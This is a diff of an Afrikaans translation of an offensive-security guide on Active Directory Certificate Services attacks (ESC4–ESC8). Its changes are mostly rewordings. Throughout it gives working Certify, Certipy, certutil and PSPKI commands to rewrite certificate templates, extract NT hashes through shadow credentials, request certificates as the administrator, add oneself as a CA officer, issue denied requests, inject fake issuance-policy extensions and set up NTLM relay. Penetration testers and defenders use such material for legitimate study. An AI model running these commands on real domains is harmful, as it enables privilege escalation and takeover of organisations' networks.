+- **WriteProperty:** Machtig die redigering van enige eienskappe van die objek.
 
 ### Misbruik
 
@@ -156,17 +156,17 @@ Om principals met wysigingsregte op templates en ander PKI-objekte te identifise
 Certify.exe find /showAllPermissions
 Certify.exe pkiobjects /domain:corp.local /showAdmins
 ```
-'n voorbeeld van 'n privesc soos die vorige:
+'n voorbeeld van 'n privesc soos die vorige een:
 
 <figure><img src="../../../images/image (814).png" alt=""><figcaption></figcaption></figure>
 
-ESC4 is wanneer 'n gebruiker skryfbevoegdhede oor 'n sertifikaatsjabloon het. Dit kan byvoorbeeld misbruik word om die konfigurasie van die sertifikaatsjabloon oor te skryf en die sjabloon kwesbaar te maak vir ESC1.
+ESC4 is wanneer 'n gebruiker skryfbevoegdhede oor 'n sertifikaat-sjabloon het. Dit kan byvoorbeeld misbruik word om die konfigurasie van die sertifikaat-sjabloon oor te skryf en die sjabloon vatbaar te maak vir ESC1.
 
-Soos ons in die pad hierbo kan sien, het slegs `JOHNPC` hierdie bevoegdhede, maar ons gebruiker `JOHN` het die nuwe `AddKeyCredentialLink` edge na `JOHNPC`. Aangesien hierdie tegniek met sertifikate verband hou, het ek hierdie aanval ook geïmplementeer, wat bekend staan as [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Hier is 'n klein voorsmakie van Certipy’s `shadow auto` kommando om die NT-hash van die slagoffer te onttrek.
+Soos ons in die pad hierbo kan sien, het slegs `JOHNPC` hierdie bevoegdhede, maar ons gebruiker `JOHN` het die nuwe `AddKeyCredentialLink` edge na `JOHNPC`. Aangesien hierdie tegniek verband hou met sertifikate, het ek hierdie aanval ook geïmplementeer, wat bekend staan as [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Hier is 'n klein kykie na Certipy se `shadow auto` kommando om die NT hash van die slagoffer te verkry.
 ```bash
 certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'
 ```
-**Certipy** kan die konfigurasie van 'n sertifikaat-sjabloon met 'n enkele opdrag oorskryf. By **default**, sal Certipy die konfigurasie **overwrite** om dit **vulnerable to ESC1** te maak. Ons kan ook die **`-save-old` parameter om die ou konfigurasie te stoor** spesifiseer, wat nuttig sal wees vir die **herstel** van die konfigurasie na ons aanval.
+**Certipy** kan die konfigurasie van 'n sertifikaatsjabloon met 'n enkele opdrag oorskryf. By **verstek**, Certipy sal die konfigurasie **oorskryf** om dit **kwesbaar vir ESC1** te maak. Ons kan ook die **`-save-old` parameter gebruik om die ou konfigurasie te stoor**, wat nuttig sal wees vir die **herstel** van die konfigurasie na ons aanval.
 ```bash
 # Make template vuln to ESC1
 certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old
@@ -177,25 +177,25 @@ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target
 # Restore config
 certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json
 ```
-## Kwesbare PKI-objek Toegangsbeheer - ESC5
+## Kwetsbare PKI-voorwerp Toegangsbeheer - ESC5
 
 ### Verduideliking
 
-Die uitgebreide netwerk van onderling gekoppelde ACL-gebaseerde verhoudings, wat verskeie voorwerpe insluit buite sertifikaatsjablone en die certificate authority, kan die sekuriteit van die hele AD CS-stelsel beïnvloed. Hierdie voorwerpe, wat die sekuriteit aansienlik kan beïnvloed, sluit in:
+Die uitgebreide web van onderling geknoopte, op ACL-gebaseerde verhoudings, wat verskeie voorwerpe buite certificate templates en die certificate authority insluit, kan die veiligheid van die hele AD CS-stelsel beïnvloed. Hierdie voorwerpe, wat die veiligheid aansienlik kan raak, sluit in:
 
-- Die AD-rekenaarvoorwerp van die CA-bediener, wat moontlik gekompromitteer kan word deur meganismes soos S4U2Self of S4U2Proxy.
+- Die AD computer object van die CA-bediener, wat deur meganismes soos S4U2Self of S4U2Proxy gekompromitteer kan word.
-- Die RPC/DCOM-bediener van die CA-bediener.
+- Die RPC/DCOM-server van die CA-bediener.
-- Enige afstammeling AD-voorwerp of container binne die spesifieke containerpad `CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`. Hierdie pad sluit in, maar is nie beperk tot, containers en voorwerpe soos die Certificate Templates container, Certification Authorities container, die NTAuthCertificates object, en die Enrollment Services Container.
+- Enige afstammeling AD-voorwerp of container binne die spesifieke houerpad `CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`. Hierdie pad sluit in, maar is nie beperk tot, houers en voorwerpe soos die Certificate Templates container, Certification Authorities container, die NTAuthCertificates object, en die Enrollment Services Container.
 
-Die sekuriteit van die PKI-stelsel kan gekompromitteer word as 'n aanvaller met lae voorregte beheer oor enige van hierdie kritieke komponente kry.
+Die veiligheid van die PKI-stelsel kan ingeboet word as 'n aanvaller met lae regte beheer oor enige van hierdie kritieke komponente kry.
 
 ## EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6
 
 ### Verduideliking
 
-Die onderwerp wat in die [**CQure Academy post**](https://cqureacademy.com/blog/enhanced-key-usage) bespreek word, raak ook aan die implikasies van die **`EDITF_ATTRIBUTESUBJECTALTNAME2`** vlag, soos uiteengesit deur Microsoft. Hierdie konfiguratie, wanneer dit op 'n Certification Authority (CA) geaktiveer is, laat die insluiting van **gebruikergeïndefinieerde waardes** in die **subject alternative name** toe vir **enige versoek**, insluitend dié wat uit Active Directory® opgebou is. Gevolglik maak hierdie bepaling dit vir 'n **indringer** moontlik om deur **enige template** wat op domein **authentisering** ingestel is in te skryf—spesifiek dié wat oop is vir **gebruikers sonder voorregte** registrasie, soos die standaard User template. Dit kan lei tot die uitreik van 'n sertifikaat wat die indringer in staat stel om as 'n domeinadministrateur of **enige ander aktiewe entiteit** binne die domein te authentiseer.
+Die onderwerp bespreek in die [**CQure Academy post**](https://cqureacademy.com/blog/enhanced-key-usage) raak ook aan die implikasies van die **`EDITF_ATTRIBUTESUBJECTALTNAME2`** vlag, soos uiteengesit deur Microsoft. Hierdie konfigurasie, wanneer dit op 'n Certification Authority (CA) geaktiveer is, laat die insluiting van **gebruikers-gedefinieerde waardes** in die **subject alternative name** toe vir **enige aanvraag**, insluitend dié wat uit Active Directory® opgebou is. Gevolglik laat hierdie bepaling 'n **indringer** toe om in te skryf via **enige template** wat op domein **authentisering** ingestel is — spesifiek dié wat oop is vir **gebruikers met lae regte** inskrywing, soos die standaard User template. Daardoor kan 'n sertifikaat verkry word wat die indringer in staat stel om as 'n domein administrateur of **enige ander aktiewe entiteit** binne die domein te autentiseer.
 
-**Nota**: Die benadering om **alternatiewe name** by 'n Certificate Signing Request (CSR) te voeg deur die `-attrib "SAN:"` argument in `certreq.exe` (verwys as “Name Value Pairs”), staan in **kontras** met die uitbuitingstrategie van SANs in ESC1. Hier lê die onderskeid in **hoe rekeninginligting gekapsel is**—binne 'n certificate attribute, eerder as 'n uitbreiding.
+**Nota**: Die benadering om **alternative names** by 'n Certificate Signing Request (CSR) te voeg, deur die `-attrib "SAN:"` argument in `certreq.exe` (verwys na as “Name Value Pairs”), staan in **kontras** met die uitbuitingsstrategie van SANs in ESC1. Hier lê die onderskeid in **hoe rekeninginligting ingekapsel word** — binne 'n sertifikaatattribuut, eerder as 'n uitbreiding.
 
 ### Misbruik
 
@@ -203,11 +203,11 @@ Om te verifieer of die instelling geaktiveer is, kan organisasies die volgende o
 ```bash
 certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags"
 ```
-Hierdie operasie maak in wese gebruik van **remote registry access**, daarom kan 'n alternatiewe benadering wees:
+Hierdie operasie gebruik in wese **remote registry access**, daarom kan 'n alternatiewe benadering wees:
 ```bash
 reg.exe query \\<CA_SERVER>\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags
 ```
-Gereedskap soos [**Certify**](https://github.com/GhostPack/Certify) en [**Certipy**](https://github.com/ly4k/Certipy) kan hierdie wankonfigurasie opspoor en uitbuit:
+Gereedskap soos [**Certify**](https://github.com/GhostPack/Certify) en [**Certipy**](https://github.com/ly4k/Certipy) is in staat om hierdie miskonfigurasie te ontdek en dit uit te buit:
 ```bash
 # Detect vulnerabilities, including this one
 Certify.exe find
@@ -216,37 +216,37 @@ Certify.exe find
 Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin
 certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local
 ```
-Om hierdie instellings te verander, mits iemand oor **domain administrative** rights of 'n gelykwaardige reg beskik, kan die volgende opdrag vanaf enige werkstasie uitgevoer word:
+Om hierdie instellings te verander, mits iemand oor **domein administratiewe** regte of 'n ekwivalent beskik, kan die volgende opdrag vanaf enige werkstasie uitgevoer word:
 ```bash
 certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2
 ```
-Om hierdie konfigurasie in jou omgewing uit te skakel, kan die flag verwyder word met:
+Om hierdie konfigurasie in jou omgewing uit te skakel, kan die vlag verwyder word met:
 ```bash
 certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
 ```
 > [!WARNING]
-> Na die veiligheidsopdaterings van Mei 2022 sal nuut uitgereikte **certificates** 'n **security extension** bevat wat die **requester's `objectSid` property`** inkorporeer. Vir ESC1 word hierdie SID afgelei van die gespesifiseerde SAN. Vir **ESC6** weerspieël die SID egter die **requester's `objectSid`**, nie die SAN nie.\
+> Post die Mei 2022-sekuriteitsopdaterings, sal nuut uitgereikte **certificates** 'n **security extension** bevat wat die **requester's `objectSid` property** inkorporeer. Vir ESC1 word hierdie SID afgelei van die gespesifiseerde SAN. Vir **ESC6** weerspieël die SID egter die **requester's `objectSid`**, nie die SAN nie.\
-> Om ESC6 te misbruik, is dit noodsaaklik dat die stelsel vatbaar is vir ESC10 (Weak Certificate Mappings), wat die **SAN bo die nuwe security extension** prioritiseer.
+> Om ESC6 te benut, is dit noodsaaklik dat die stelsel vatbaar is vir ESC10 (Weak Certificate Mappings), wat die **SAN bo die nuwe security extension** prioritiseer.
 
-## Kwetsbare Certificate Authority Toegangsbeheer - ESC7
+## Kwetsbare Sertifikaatowerheid Toegangsbeheer - ESC7
 
 ### Aanval 1
 
 #### Verduideliking
 
-Toegangsbeheer vir 'n certificate authority word gehandhaaf deur 'n stel permissies wat CA-aksies reguleer. Hierdie permissies kan besigtig word deur `certsrv.msc` te open, met die rechtermuisknop op 'n CA te klik, properties te kies, en dan na die Security tab te navigeer. Daarbenewens kan permissies geënumeer word met die PSPKI module met opdragte soos:
+Toegangsbeheer vir 'n sertifikaatowerheid word gehandhaaf deur 'n stel magtigings wat die optrede van die CA beheer. Hierdie magtigings kan besigtig word deur `certsrv.msc` te open, met die rechtermuisknop op 'n CA te klik, Eienskappe te kies, en dan na die Sekuriteit-oortjie te navigeer. Daarbenewens kan magtigings opgesom word met behulp van die PSPKI-module met opdragte soos:
 ```bash
 Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access
 ```
-This provides insights into the primary rights, namely **`ManageCA`** and **`ManageCertificates`**, correlating to the roles of “CA administrator” and “Certificate Manager” respectively.
+Dit verskaf insigte in die primêre regte, naamlik **`ManageCA`** en **`ManageCertificates`**, wat ooreenstem met die rolle van “CA-administrateur” en “Sertifikaatbestuurder” onderskeidelik.
 
-#### Misbruik
+#### Abuse
 
-Om **`ManageCA`** regte op 'n certificate authority te hê, stel die principal in staat om instellings op afstand te manipuleer met PSPKI. Dit sluit in die omskakeling van die **`EDITF_ATTRIBUTESUBJECTALTNAME2`** flag om SAN-spesifikasie in enige sjabloon toe te laat, 'n kritieke aspek van domain escalation.
+Om **`ManageCA`** regte op 'n sertifikaatowerheid te hê stel die hoofpersoon in staat om instellings op afstand te manipuleer met behulp van PSPKI. Dit sluit in die omskakeling van die **`EDITF_ATTRIBUTESUBJECTALTNAME2`** vlag om SAN-spesifikasie in enige sjabloon toe te laat, 'n kritieke aspek van domein-eskalasie.
 
-Hierdie proses kan vereenvoudig word deur die gebruik van PSPKI se **Enable-PolicyModuleFlag** cmdlet, wat wysigings sonder direkte GUI-interaksie toelaat.
+Die vereenvoudiging van hierdie proses is bereikbaar deur die gebruik van PSPKI se **Enable-PolicyModuleFlag** cmdlet, wat wysigings toelaat sonder direkte GUI-interaksie.
 
-Besit van **`ManageCertificates`** regte vergemaklik die goedkeuring van hangende versoeke, wat effektief die "CA certificate manager approval" beskerming omseil.
+Die besit van **`ManageCertificates`** regte vergemaklik die goedkeuring van hangende versoeke, wat effektief die beskerming "CA certificate manager approval" omseil.
 
 'n Kombinasie van **Certify** en **PSPKI** modules kan gebruik word om 'n sertifikaat aan te vra, goed te keur en af te laai:
 ```bash
@@ -269,28 +269,26 @@ Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336
 #### Verduideliking
 
 > [!WARNING]
-> In die **vorige aanval** is **`Manage CA`** permissies gebruik om die **EDITF_ATTRIBUTESUBJECTALTNAME2** vlag te **aktiveer** om die **ESC6 attack** uit te voer, maar dit sal geen effek hê totdat die CA-diens (`CertSvc`) herbegin is nie. Wanneer 'n gebruiker die `Manage CA` toegangreg het, mag die gebruiker ook die **diens herbegin**. Dit beteken egter **nie dat die gebruiker die diens op afstand kan herbegin nie**. Verder mag **ESC6 nie out-of-the-box werk nie** in die meeste gepatchte omgewings weens die Mei 2022 sekuriteitsopdaterings.
+> In die **vorige aanval** **`Manage CA`** regte is gebruik om die **EDITF_ATTRIBUTESUBJECTALTNAME2** vlag te **aktiveer** om die **ESC6 attack** uit te voer, maar dit sal geen effek hê totdat die CA diens (`CertSvc`) herbegin word. Wanneer 'n gebruiker die `Manage CA` toegangsreg het, word die gebruiker ook toegelaat om die **diens te herbegin**. Dit beteken egter **nie dat die gebruiker die diens op afstand kan herbegin nie**. Verder mag E**SC6 moontlik nie uit die boks werk nie** in die meeste gepatchte omgewings weens die Mei 2022 sekuriteitsopdaterings.
 
-Daarom word hier 'n ander aanval voorgestel.
+Voorvereistes:
 
-Vereistes:
+- Slegs **`ManageCA`** reg
+- **`Manage Certificates`** toestemming (kan vanaf **`ManageCA`** gegee word)
+- Sertifikaatsjabloon **`SubCA`** moet **geaktiveer** wees (kan vanaf **`ManageCA`** geaktiveer word)
 
-- Slegs **`ManageCA` permission**
+Die tegniek berus op die feit dat gebruikers met die `Manage CA` _en_ `Manage Certificates` toegangsregte mislukte sertifikaataanvragte kan uitreik. Die `SubCA` sertifikaatsjabloon is **kwetsbaar vir ESC1**, maar **slegs administrateurs** kan in die sjabloon inskryf. Dus kan 'n **gebruiker** 'n **versoek** doen om in die **`SubCA`** in te skryf — wat **geweier** sal word — maar daarna deur die bestuurder **uitgereik** word.
-- **`Manage Certificates`** permission (kan toegeken word vanaf **`ManageCA`**)
-- Sertifikaat-sjabloon **`SubCA`** moet **geaktiveer** wees (kan vanaf **`ManageCA`** geaktiveer word)
-
-Die tegniek berus op die feit dat gebruikers met die `Manage CA` _en_ `Manage Certificates` toegangreg kan **uitreik van mislukte sertifikaatversoeke**. Die **`SubCA`** sertifikaat-sjabloon is **vulnerable to ESC1**, maar **slegs administrators** kan in die sjabloon inskryf. Dus kan 'n **gebruiker** versoek om in die **`SubCA`** in te skryf — wat **geweier** sal word — maar later deur die bestuurder **uitgereik** word.
 
 #### Misbruik
 
-Jy kan jouself die **`Manage Certificates`** toegangreg toeken deur jou gebruiker as 'n nuwe beampte by te voeg.
+Jy kan jouself die **`Manage Certificates`** toegangsreg gee deur jou gebruiker as 'n nuwe beampte by te voeg.
 ```bash
 certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd
 Certipy v4.0.0 - by Oliver Lyak (ly4k)
 
 [*] Successfully added officer 'John' on 'corp-DC-CA'
 ```
-Die **`SubCA`** sjabloon kan **op die CA geaktiveer** word met die `-enable-template` parameter. Per verstek is die `SubCA` sjabloon geaktiveer.
+Die **`SubCA`** sjabloon kan **op die CA geaktiveer** word met die `-enable-template` parameter. Standaard is die `SubCA` sjabloon geaktiveer.
 ```bash
 # List templates
 certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA'
@@ -302,9 +300,9 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
 
 [*] Successfully enabled 'SubCA' on 'corp-DC-CA'
 ```
-As ons die voorafvereistes vir hierdie aanval vervul het, kan ons begin deur **'n sertifikaat aan te vra gebaseer op die `SubCA`-sjabloon**.
+As ons die voorvereistes vir hierdie aanval vervul het, kan ons begin deur **'n sertifikaat aan te vra gebaseer op die `SubCA`-sjabloon**.
 
-**Hierdie versoek sal geweie**r, maar ons sal die private sleutel stoor en die versoek-ID neerskryf.
+**Hierdie versoek sal geweier word**, maar ons sal die private key stoor en die request ID neerskryf.
 ```bash
 certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local
 Certipy v4.0.0 - by Oliver Lyak (ly4k)
@@ -316,7 +314,7 @@ Would you like to save the private key? (y/N) y
 [*] Saved private key to 785.key
 [-] Failed to request certificate
 ```
-Met ons **`Manage CA` and `Manage Certificates`**, kan ons dan die **mislukte sertifikaatversoek uitreik** met die `ca` opdrag en die `-issue-request <request ID>` parameter.
+Met ons **`Manage CA` and `Manage Certificates`**, kan ons dan die **mislukte sertifikaatversoek uitreik** met die `ca` command en die `-issue-request <request ID>` parameter.
 ```bash
 certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd
 Certipy v4.0.0 - by Oliver Lyak (ly4k)
@@ -335,68 +333,68 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
 [*] Loaded private key from '785.key'
 [*] Saved certificate and private key to 'administrator.pfx'
 ```
-### Aanval 3 – Manage Certificates Extension Abuse (SetExtension)
+### Aanval 3 – Manage Certificates Extension-misbruik (SetExtension)
 
 #### Verduideliking
 
-Benewens die klassieke ESC7-misbruik (om EDITF-attribuut te aktiveer of hangende versoeke goed te keur), het **Certify 2.0** 'n heeltemal nuwe primitief ontsluit wat slegs die *Manage Certificates* (ook bekend as **Certificate Manager / Officer**) rol op die Enterprise CA vereis.
+Benewens die klassieke ESC7-misbruik (aktiwiteit van EDITF-attribuut of goedkeuring van hangende versoeke), het **Certify 2.0** 'n splinternuwe primitive blootgelê wat slegs die *Manage Certificates* (a.k.a. **Certificate Manager / Officer**) rol op die Enterprise CA vereis.
 
-Die `ICertAdmin::SetExtension` RPC-metode kan deur enige prinsipaal met *Manage Certificates* uitgevoer word. Terwyl die metode tradisioneel deur legitieme CA's gebruik is om uitbreidings op **hangende** versoeke by te werk, kan 'n aanvaller dit misbruik om 'n **nie-standaard** sertifikaatuitbreiding by te voeg (byvoorbeeld 'n pasgemaakte *Certificate Issuance Policy* OID soos `1.1.1.1`) by 'n versoek wat wag op goedkeuring.
+Die `ICertAdmin::SetExtension` RPC-metode kan deur enige prinsipal met *Manage Certificates* uitgevoer word. Terwyl die metode tradisioneel deur regmatige CAs gebruik is om uitbreidings op **hangende** versoeke by te werk, kan 'n aanvaller dit misbruik om 'n **nie-standaard** sertifikaatuitbreiding by te voeg (byvoorbeeld 'n pasgemaakte *Certificate Issuance Policy* OID soos `1.1.1.1`) aan 'n versoek wat wag op goedkeuring.
 
-Omdat die geteikende sjabloon **geen standaardwaarde vir daardie uitbreiding definieer nie**, sal die CA NIE die aanvaller-beheerde waarde oorskryf wanneer die versoek uiteindelik uitgegee word nie. Die resulterende sertifikaat bevat dus 'n uitbreiding gekies deur die aanvaller wat mag:
+Omdat die teiken-sjabloon **nie 'n standaardwaarde vir daardie uitbreiding definieer nie**, sal die CA die aanvallerbeheerde waarde NIE oorskryf wanneer die versoek uiteindelik uitgereik word nie. Die resulterende sertifikaat bevat dus 'n aanvaller-gekose uitbreiding wat moontlik:
 
-* Tevredestel Application / Issuance Policy-vereistes van ander kwesbare sjablone (wat tot privilege escalation kan lei).
+* Voldoen aan Application / Issuance Policy-vereistes van ander kwesbare sjablone (wat kan lei tot privilege escalation).
-* Inspuit ekstra EKU's of beleide wat die sertifikaat onverwagte vertroue in derdeparty-stelsels gee.
+* Voeg addisionele EKUs of beleide by wat die sertifikaat onverwante vertroue in derdeparty-stelsels gee.
 
-In kort, *Manage Certificates* – voorheen beskou as die "minder kragtige" helfte van ESC7 – kan nou aangewend word vir volle privilege escalation of langtermynpersistensie, sonder om CA-konfigurasie aan te raak of die meer beperkende *Manage CA* reg te vereis.
+Kortliks kan *Manage Certificates* — voorheen beskou as die "minder magtige" helfte van ESC7 — nou aangewend word vir volle privilege escalation of langtermyn persistering, sonder om CA-konfigurasie aan te raak of die meer beperkende *Manage CA*-reg te benodig.
 
-#### Misbruik van die primitief met Certify 2.0
+#### Misbruik van die primitive met Certify 2.0
 
-1. **Dien 'n sertifikaatversoek in wat *hangend* sal bly.**  Dit kan geforseer word met 'n sjabloon wat bestuurdergoedkeuring vereis:
+1. **Dien 'n sertifikaataanvraag in wat *hangend* sal bly.** Dit kan afgedwing word met 'n sjabloon wat bestuurdergoedkeuring vereis:
 ```powershell
 Certify.exe request --ca SERVER\\CA-NAME --template SecureUser --subject "CN=User" --manager-approval
 # Take note of the returned Request ID
 ```
 
-2. **Voeg 'n pasgemaakte uitbreiding by die hangende versoek** met die nuwe `manage-ca` opdrag:
+2. **Heg 'n pasgemaakte uitbreiding aan die hangende versoek** deur die nuwe `manage-ca`-opdrag te gebruik:
 ```powershell
 Certify.exe manage-ca --ca SERVER\\CA-NAME \
 --request-id 1337 \
 --set-extension "1.1.1.1=DER,10,01 01 00 00"  # fake issuance-policy OID
 ```
-*As die sjabloon nie reeds die *Certificate Issuance Policies* uitbreiding definieer nie, sal die waarde hierbo na uitreiking behou bly.*
+*As die sjabloon nie reeds die *Certificate Issuance Policies*-uitbreiding definieer nie, sal die waarde hierbo na uitreiking bewaar bly.*
 
-3. **Gee die versoek uit** (as jou rol ook *Manage Certificates* goedkeuringsregte het) of wag vir 'n operateur om dit goed te keur. Sodra dit uitgegee is, laai die sertifikaat af:
+3. **Reik die versoek uit** (as jou rol ook *Manage Certificates*-goedkeuringsregte het) of wag dat 'n operateur dit goedkeur. Sodra dit uitgereik is, laai die sertifikaat af:
 ```powershell
 Certify.exe request-download --ca SERVER\\CA-NAME --id 1337
 ```
 
 4. Die resulterende sertifikaat bevat nou die kwaadwillige issuance-policy OID en kan in daaropvolgende aanvalle gebruik word (bv. ESC13, domain escalation, ens.).
 
-> NOTA: Dieselfde aanval kan uitgevoer word met Certipy ≥ 4.7 deur die `ca` opdrag en die `-set-extension` parameter.
+> LET WEL: Dieselfde aanval kan met Certipy ≥ 4.7 deur die `ca`-opdrag en die `-set-extension`-parameter uitgevoer word.
 
-## NTLM Relay na AD CS HTTP-eindpunte – ESC8
+## NTLM Relay na AD CS HTTP-endpunte – ESC8
 
 ### Verduideliking
 
 > [!TIP]
-> In omgewings waar **AD CS geïnstalleer** is, en daar 'n **kwesbare web enrollment endpoint** bestaan en ten minste een **sertifikaatsjabloon gepubliseer** is wat **domeinrekenaar-registrasie en kliëntverifikasie** toelaat (soos die standaard **`Machine`** sjabloon), word dit moontlik dat **enige rekenaar met die spooler-diens aktief deur 'n aanvaller gekompromitteer kan word**!
+> In omgewings waar **AD CS geïnstalleer is**, as 'n kwetsbare **web enrollment endpoint** bestaan en ten minste een **certificate template gepubliseer is** wat **domain computer enrollment en client authentication** toelaat (soos die standaard **`Machine`** template), kan **enige rekenaar met die spooler-diens aktief deur 'n aanvaller gekompromitteer word**!
 
-Verskeie **HTTP-gebaseerde registrasiemetodes** word deur AD CS ondersteun, beskikbaar gemaak deur addisionele bedienerrolle wat administrateurs kan installeer. Hierdie koppelvlakke vir HTTP-gebaseerde sertifikaatregistrasie is vatbaar vir **NTLM relay-aanvalle**. 'n Aanvaller, vanaf 'n **gekompromitteerde masjien, kan enige AD-rekening imiteer wat via inkomende NTLM verifieer**. Terwyl hy die slagofferreken ingee, kan die aanvaller hierdie webkoppelvlakke gebruik om **'n kliëntverifikasie-sertifikaat aan te vra met die `User` of `Machine` sertifikaatsjablone**.
+Verskeie **HTTP-gebaseerde enrollment-metodes** word deur AD CS ondersteun en beskikbaar gemaak deur addisionele bedienerrolle wat administrateurs kan installeer. Hierdie koppelvlakke vir HTTP-gebaseerde sertifikaataanmelding is vatbaar vir **NTLM relay attacks**. 'n Aanvaller, vanaf 'n **gekompromitteerde masjien, kan enige AD-rekening naspeel wat via inkomende NTLM verifieer**. Terwyl die aanvaller die slagofferrekening naspeel, kan hy hierdie webkoppelvlakke gebruik om **'n client authentication-sertifikaat aan te vra met die `User` of `Machine` certificate templates**.
 
-- Die **web enrollment interface** (’n ouer ASP-toepassing beskikbaar by `http://<caserver>/certsrv/`) staan standaard slegs HTTP toe, wat geen beskerming teen NTLM relay-aanvalle bied nie. Boonop laat dit uitdruklik slegs NTLM-verifikasie toe deur sy Authorization HTTP-header, waardeur meer veilige verifikasiemetodes soos Kerberos nie van toepassing is nie.
+- Die **web enrollment interface** (’n ouer ASP-toepassing beskikbaar by `http://<caserver>/certsrv/`), gebruik standaard net HTTP, wat nie beskerming teen NTLM relay attacks bied nie. Daarbenewens laat dit eksplisiet slegs NTLM-authentisering toe via sy Authorization HTTP-header, wat meer veilige metodes soos Kerberos onbruikbaar maak.
-- Die **Certificate Enrollment Service** (CES), **Certificate Enrollment Policy** (CEP) Web Service, en **Network Device Enrollment Service** (NDES) ondersteun standaard negotiate-verifikasie via hul Authorization HTTP-header. Negotiate-verifikasie **ondersteun beide** Kerberos en **NTLM**, wat 'n aanvaller in staat stel om tydens relay-aanvalle na NTLM af te gradeer. Alhoewel hierdie webdienste HTTPS standaard aktiveer, beskerm HTTPS op sigself **nie teen NTLM relay-aanvalle nie**. Beskerming teen NTLM relay-aanvalle vir HTTPS-dienste is slegs moontlik wanneer HTTPS met channel binding gekombineer word. Ongelukkig aktiveer AD CS nie Extended Protection for Authentication op IIS nie, wat benodig word vir channel binding.
+- Die **Certificate Enrollment Service** (CES), **Certificate Enrollment Policy** (CEP) Web Service, en **Network Device Enrollment Service** (NDES) ondersteun standaard negotiate-authentisering via hul Authorization HTTP-header. Negotiate-authentisering **ondersteun beide** Kerberos en **NTLM**, wat 'n aanvaller toelaat om tydens relay-aanvalle na **NTLM af te gradeer**. Alhoewel hierdie webdienste standaard HTTPS aktiveer, beskerm HTTPS alleen **nie teen NTLM relay attacks** nie. Beskerming teen NTLM relay attacks vir HTTPS-dienste is slegs moontlik wanneer HTTPS met channel binding gekombineer word. Ongelukkig aktiveer AD CS nie Extended Protection for Authentication op IIS nie, wat vir channel binding vereis word.
 
-'n Algemene **probleem** met NTLM relay-aanvalle is die **korte duur van NTLM-sessies** en die onvermoë van die aanvaller om met dienste te kommunikeer wat **NTLM-ondertekening vereis**.
+'n Algemene **probleem** met NTLM relay attacks is die **korte duur van NTLM-sessies** en die onmoontlikheid vir die aanvaller om met dienste te kommunikeer wat **NTLM signing vereis**.
 
-Nietemin word hierdie beperking oorkom deur 'n NTLM relay-aanval te gebruik om 'n sertifikaat vir die gebruiker te bekom, aangesien die sertifikaat se geldigheidsperiode die sessieduur bepaal, en die sertifikaat saam met dienste gebruik kan word wat **NTLM-ondertekening vereis**. Vir instruksies oor die gebruik van 'n gesteelde sertifikaat, verwys na:
+Nietemin, hierdie beperking word oorkom deur 'n NTLM relay attack te benut om 'n sertifikaat vir die gebruiker te verkry, aangesien die sertifikaat se geldigheidsperiode die sessie se duur bepaal, en die sertifikaat gebruik kan word met dienste wat **NTLM signing vereis**. Vir instruksies oor die gebruik van 'n gesteelde sertifikaat, verwys na:
 
 
 {{#ref}}
 account-persistence.md
 {{#endref}}
 
-'n Ander beperking van NTLM relay-aanvalle is dat **'n aanvaller-beheerde masjien deur 'n slagofferrekening geverifieer moet word**. Die aanvaller kan óf wag óf probeer om hierdie verifikasie te **afdwing**:
+Nog 'n beperking van NTLM relay attacks is dat **'n aanvaller-beheerde masjien deur 'n slagofferrekening geverifieer moet word**. Die aanvaller kan óf wag óf probeer om hierdie verifikasie te **dwing**:
 
 
 {{#ref}}
@@ -405,13 +403,13 @@ account-persistence.md
 
 ### **Misbruik**
 
-[**Certify**](https://github.com/GhostPack/Certify) se `cas` som die ingeskakelde **HTTP AD CS-eindpunte** op:
+Die `cas` van [**Certify**](https://github.com/GhostPack/Certify) som **geaktiveerde HTTP AD CS-endpunte** op:
 ```
 Certify.exe cas
 ```
 <figure><img src="../../../images/image (72).png" alt=""><figcaption></figcaption></figure>
 
-Die `msPKI-Enrollment-Servers` eienskap word deur ondernemings se Certificate Authorities (CAs) gebruik om Certificate Enrollment Service (CES) eindpunte te stoor. Hierdie eindpunte kan met die hulpmiddel **Certutil.exe** ontleed en gelys word:
+Die `msPKI-Enrollment-Servers` eienskap word deur ondernemings-sertifikaatowerhede (CAs) gebruik om Certificate Enrollment Service (CES) eindpunte te stoor. Hierdie eindpunte kan ontleed en gelys word deur die hulpmiddel **Certutil.exe** te gebruik:
 ```
 certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA
 ```
@@ -439,9 +437,9 @@ execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <
 ```
 #### Misbruik met [Certipy](https://github.com/ly4k/Certipy)
 
